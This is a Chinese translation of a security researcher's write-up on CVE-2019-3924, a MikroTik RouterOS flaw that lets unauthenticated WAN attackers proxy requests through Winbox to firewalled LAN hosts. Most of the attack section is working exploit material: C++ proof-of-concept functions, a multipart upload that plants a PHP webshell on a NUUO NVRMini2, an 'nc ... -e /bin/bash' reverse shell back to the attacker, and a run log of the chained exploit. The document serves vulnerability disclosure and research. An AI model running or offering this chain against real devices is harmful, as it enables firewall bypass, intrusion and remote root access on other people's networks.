MikroTik RouterOS未经认证可绕过防火墙访问NAT内部网络(CVE-2019-3924)

41yf1sh 漏洞 2019年2月28日发布
Favorite收藏

导语:在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为CVE-2019-3924。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的Winbox端口​代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。

设计缺陷

在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为CVE-2019-3924。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的Winbox端口代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。

这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

https://youtu.be/CxyOtsNVgFg

部署

为了证明这个漏洞,我首先需要选择一个攻击的目标。我没有选择太远的目标,因为我面前的办公桌上就有一台NUUO NVRMini2。这台NVR非常适合作为我们漏洞分析的示例,设备应该隐藏在防火墙后面,并且应该与网络上的其他设备相分离。

1.png

目前,我已经完成了测试部署。现在,NVRMini2位于MikroTik hAP路由器后面,启用了NAT和防火墙。

对于IP地址为192.168.1.7的攻击者来说,NVRMini2应该是安全的:

2.png

在部署过程中,还有一个重要的注意事项,就是我在路由器的防火墙中打开了8291端口,以允许从WAN进行Winbox访问。默认情况下,Winbox仅通过LAN在MikroTik hAP上提供。不要担心,我只是模拟真实世界中的配置。

现在,攻击者192.168.1.7理论上应该无法与10.0.0.252(目标主机)进行通信,防火墙应该会阻止这样的通信尝试。那么,我们就一起来看看,攻击者如何能绕过这种限制。

探索:如何绕过防火墙

CVE-2019-3924漏洞的根本原因在于路由器未对网络发现探针强制执行身份验证。在正常情况下,The Dude通过路由器进行身份验证,并通过Winbox端口上传探针。但是,其中一个处理探针(代理程序)的二进制文件无法验证远程用户是否已经通过了身份验证。

探针是一个相当简单的概念。探针是一组变量,用于告知路由器如何与指定端口上的主机通信。该探针最多支持三个请求和响应。响应与提供的正则表达式匹配。以下是内置的HTTP探针。

HTTP探针向80端口发送HEAD请求,并检查响应是否以“HTTP/1”开头。

3.png

为了绕开防火墙,并从192.168.1.7与NVRMini2通信,攻击者只需要为路由器提供连接到10.0.0.252:80的探针。有一个显而易见的问题,就是“如何来确定LAN主机是不是NVRMini2?”

NVRMini2和各种OEM都具有非常相似的登录页面标题。

4.png

使用title标签,我们可以构建一个检测NVRMini2的探针。下面的内容摘自我在GitHub上的概念证明。我再次使用了我的WinboxMessage实现。

bool find_nvrmini2(Winbox_Session& session,
                   std::string& p_address,
                   boost::uint32_t p_converted_address,
                   boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
                      "\r\nAccept:*/*\r\n\r\n");
    msg.add_string(8, "Network Video Recorder Login</title>");
    msg.add_u32(3, p_converted_address); // ip address
    msg.add_u32(4, p_converted_port); // port
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

大家可以看到,我构建了一个发送HTTP GET请求的探针,并在响应中查找“Network Video Recorder Login</title>”。路由器192.168.1.70将接收此探针,并将其发送到我再msg.add_u32(3)和msg.add_u32(4)中定义的主机。在我们的示例中,它分别对应10.0.0.252和80。这个逻辑,绕过了正常的防火墙规则。

下图展示了攻击者(192.168.1.7)使用探针针对10.0.0.254(Ubuntu 18.04)和10.0.0.252(NVRMini2)的探测过程。我们可以看到,攻击者甚至无法ping这些设备。但是,通过使用路由器的Winbox接口,攻击者可以访问LAN主机。

5.png

在理论上“无法访问”的局域网上,我们已经可以发现NVRMini2。但是,我们还希望能更进一步,我们希望能获得对该网络的完全访问权限。接下来,让我们寻找一种方法来利用NVRMini2。

制作漏洞利用EXP

使用探针的过程中,有一个最大的问题,就是尺寸的限制。请求和响应的正则表达式不能超过220个字节的组合。这意味着,任何漏洞利用都必须要简洁。我的NVRMini2栈缓冲区溢出是简洁的,只需要170个字节就可以溢出Cookie缓冲区。这没有给我们留下太多的空间,但针对CVE-2018-11523实现漏洞利用看起来就已经足够了。

CVE-2018-11523漏洞利用代码:

6.png

CVE-2018-11523是未经身份验证的文件上传漏洞。攻击者可以利用该漏洞来上传PHP WebShell。在Exploit-db上的概念证明是461个字符,这个字符的数量太多了。但是,凭借我们的一点点智慧,可以将大小减到212个字符。

POST /upload.php HTTP/1.1
Host:a
Content-Type:multipart/form-data;boundary=a
Content-Length:96
 
--a
Content-Disposition:form-data;name=userfile;filename=a.php
 
<?php system($_GET['a']);?>
--a

该漏洞利用a.php创建了一个相当精简的PHP WebShell。如果要将其转换为探针的请求,这个过程是相当简单的。

bool upload_webshell(Winbox_Session& session,
                     boost::uint32_t p_converted_address,
                     boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

通过路由器,将上述探针请求发送到10.0.0.252:80,这样就可以创建一个基本的PHP WebShell。

制作反向Shell

此时,您应该可以使用WebShell开始盲目地在NVR上执行命令。但无法看到响应,并且始终要考虑到探针的大小限制,这两个问题比较烦人。因此,我们提出了一个更加理想的解决方案,也就是建立一个到192.168.1.7(攻击者的盒子)的反向Shell。

现在,在我看来,嵌入式系统并没有理由让nc使用-e选项。然而,我们不能按照常规的思路来做一些事情,NVRMini2也不例外。实际上,nc –e仍然是我们可以考虑的一个选择。

bool execute_reverse_shell(Winbox_Session& session,
                           boost::uint32_t p_converted_address,
                           boost::uint32_t p_converted_port,
                           std::string& p_reverse_ip,
                           std::string& p_reverse_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

上面的探针通过a.php上的WebShell执行命令“nc 192.168.1.7 1270 –e /bin/bash”。nc命令将使用Root Shell连接回攻击者的盒子。

组合利用

接下来,我们将上面的三个部分合并为一个漏洞的组合利用。该漏洞利用过程会连接到路由器,将发送探针到LAN目标,上传WebShell,并执行反向Shell返回WAN主机。

[email protected]:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
[email protected]:~/routeros/poc/cve_2019_3924/build$

监听器将按照预期获取到Root Shell。

7.png

总结

我在撰写博客文章以回应Zerodium的推文时发现了这个漏洞。实际上,我并没有积极研究MikroTik的漏洞,只是想为BSidesDublin做好准备。我非常好奇,现在有哪些研究人员正在针对MikroTik进行漏洞研究?他们是否已经将发现的漏洞不求回报地告知MikroTik,还是已经将这些漏洞卖给了Zerodium?

本文翻译自:https://medium.com/tenable-techblog/mikrotik-firewall-nat-bypass-b8d46398bf24如若转载,请注明原文地址: https://www.4hou.com/vulnerable/16358.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论